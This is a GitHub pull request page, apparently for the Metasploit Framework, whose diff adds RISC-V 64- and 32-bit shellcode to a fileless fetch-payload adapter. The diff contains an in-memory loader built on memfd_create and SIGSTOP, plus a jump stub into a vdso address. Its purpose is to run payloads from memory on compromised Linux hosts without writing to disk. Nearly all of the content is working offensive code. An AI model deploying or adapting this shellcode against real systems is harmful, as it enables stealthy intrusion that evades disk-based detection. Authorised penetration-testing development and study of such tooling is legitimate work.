Skip to content

Add RISC-V fileless fetch payload support #21236

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
bcoles wants to merge 1 commit into
base: master
Choose a base branch
from
+58 −0
Open

Add RISC-V fileless fetch payload support #21236

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 58 additions & 0 deletions lib/msf/core/payload/adapter/fetch/fileless.rb
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -138,6 +138,48 @@ def _generate_first_stage_shellcode(arch)
0x0c010101, #0x1020: syscall 0x40404 0x0c010101
]
payload = in_memory_loader_asm.pack('N*')
when 'riscv64le'
# fd = memfd_create("")
# ftruncate(fd, 0)
# pid = getpid()
# kill(pid, SIGSTOP)
in_memory_loader_asm = [
0x00b5c5b3, # xor a1, a1, a1 # a1 = 0 (flags)
0xff010113, # addi sp, sp, -16 # allocate stack space
0x00b13023, # sd a1, 0(sp) # store "" on stack
0x00010513, # addi a0, sp, 0 # a0 = &""
0x11700893, # addi a7, x0, 279 # __NR_memfd_create
0x00000073, # ecall # fd in a0
0x02e00893, # addi a7, x0, 46 # __NR_ftruncate (a1=0)
0x00000073, # ecall
0x0ac00893, # addi a7, x0, 172 # __NR_getpid
0x00000073, # ecall # pid in a0
0x01300593, # addi a1, x0, 19 # SIGSTOP
0x08100893, # addi a7, x0, 129 # __NR_kill
0x00000073, # ecall # kill(pid, SIGSTOP)
]
payload = in_memory_loader_asm.pack('V*')
when 'riscv32le'
# fd = memfd_create("")
# ftruncate(fd, 0)
# pid = getpid()
# kill(pid, SIGSTOP)
in_memory_loader_asm = [
0x00b5c5b3, # xor a1, a1, a1 # a1 = 0 (flags)
0xff010113, # addi sp, sp, -16 # allocate stack space
0x00b12023, # sw a1, 0(sp) # store "" on stack
0x00010513, # addi a0, sp, 0 # a0 = &""
0x11700893, # addi a7, x0, 279 # __NR_memfd_create
0x00000073, # ecall # fd in a0
0x02e00893, # addi a7, x0, 46 # __NR_ftruncate (a1=0)
0x00000073, # ecall
0x0ac00893, # addi a7, x0, 172 # __NR_getpid
0x00000073, # ecall # pid in a0
0x01300593, # addi a1, x0, 19 # SIGSTOP
0x08100893, # addi a7, x0, 129 # __NR_kill
0x00000073, # ecall # kill(pid, SIGSTOP)
]
payload = in_memory_loader_asm.pack('V*')

else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
Expand Down Expand Up @@ -204,6 +246,22 @@ def _generate_jmp_instruction(arch)
when 'mips64'
%^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^

# RISC-V 64-bit LE shellcode
# auipc t0, 0
# ld t0, 12(t0)
# jr t0
# .dword [target address]
when 'riscv64le'
%^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^

# RISC-V 32-bit LE shellcode
# auipc t0, 0
# lw t0, 12(t0)
# jr t0
# .word [target address]
when 'riscv32le'
%^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^

else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
end
Expand Down
Loading